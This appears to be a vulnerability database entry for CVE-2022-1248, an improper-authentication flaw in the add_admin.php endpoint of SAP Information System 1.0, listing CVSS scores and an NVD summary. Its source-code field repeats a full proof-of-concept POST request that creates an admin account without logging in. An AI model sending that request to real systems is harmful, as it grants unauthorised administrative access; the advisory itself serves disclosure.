SAP Information System 1.0 POST Request add_admin.php improper authentication

A vulnerability was found in SAP Information System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file /SAP_Information_System/controllers/add_admin.php of the component POST Request Handler. The manipulation leads to improper authentication. Using CWE to declare the problem leads to CWE-287. The weakness was published 04/06/2022. This vulnerability is handled as CVE-2022-1248. The attack may be launched remotely. Technical details are available. Furthermore, there is an exploit available. The structure of the vulnerability defines a possible price range of USD $0-$5k at the moment. It is declared as proof-of-concept. The exploit is available at vuldb.com. As 0-day the estimated underground price was around $0-$5k. A possible mitigation has been published even before and not after the disclosure of the vulnerability.

Field04/06/2022 05:1004/08/2022 10:1804/08/2022 10:24
cvss3_vuldb_avNNN
cvss3_vuldb_acLLL
cvss3_vuldb_prNNN
cvss3_vuldb_uiNNN
cvss3_vuldb_sUUU
cvss3_vuldb_cLLL
cvss3_vuldb_iLLL
cvss3_vuldb_aLLL
cvss3_vuldb_ePPP
cvss3_vuldb_rcRRR
availability111
cveCVE-2022-1248CVE-2022-1248CVE-2022-1248
responsibleVulDBVulDBVulDB
date1649196000 (04/06/2022)1649196000 (04/06/2022)1649196000 (04/06/2022)
cvss2_vuldb_avNNN
cvss2_vuldb_acLLL
cvss2_vuldb_auNNN
cvss2_vuldb_ciPPP
cvss2_vuldb_iiPPP
cvss2_vuldb_aiPPP
cvss2_vuldb_ePOCPOCPOC
cvss2_vuldb_rcURURUR
cvss2_vuldb_rlNDNDND
cvss3_vuldb_rlXXX
cvss2_vuldb_basescore7.57.57.5
cvss2_vuldb_tempscore6.46.46.4
cvss3_vuldb_basescore7.37.37.3
cvss3_vuldb_tempscore6.66.66.6
cvss3_meta_basescore7.37.37.3
cvss3_meta_tempscore6.66.96.9
price_0day$0-$5k$0-$5k$0-$5k
nameSAP Information SystemSAP Information SystemSAP Information System
version1.01.01.0
componentPOST Request HandlerPOST Request HandlerPOST Request Handler
file/SAP_Information_System/controllers/add_admin.php/SAP_Information_System/controllers/add_admin.php/SAP_Information_System/controllers/add_admin.php
cwe287 (improper authentication)287 (improper authentication)287 (improper authentication)
risk222
sourcecodePOST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username" hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password" P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user" admin ------WebKitFormBoundaryYELEK8fMdX63l0iI--POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username" hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password" P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user" admin ------WebKitFormBoundaryYELEK8fMdX63l0iI--POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username" hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password" P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user" admin ------WebKitFormBoundaryYELEK8fMdX63l0iI--
cvss3_cna_avNN
cvss3_cna_acLL
cvss3_cna_prNN
cvss3_cna_uiNN
cvss3_cna_sUU
cvss3_cna_cLL
cvss3_cna_iLL
cvss3_cna_aLL
cve_cnaVulDBVulDB
cvss3_cna_basescore7.37.3
cve_nvd_summaryA vulnerability was found in SAP Information System 1.0 which has been rated as critical. Affected by this issue is the file /SAP_Information_System/controllers/add_admin.php. An unauthenticated attacker is able to create a new admin account for the web application with a simple POST request. Exploit details were disclosed.

◂ PreviousOverviewNext ▸

Might our Artificial Intelligence support you?

Check our Alexa App!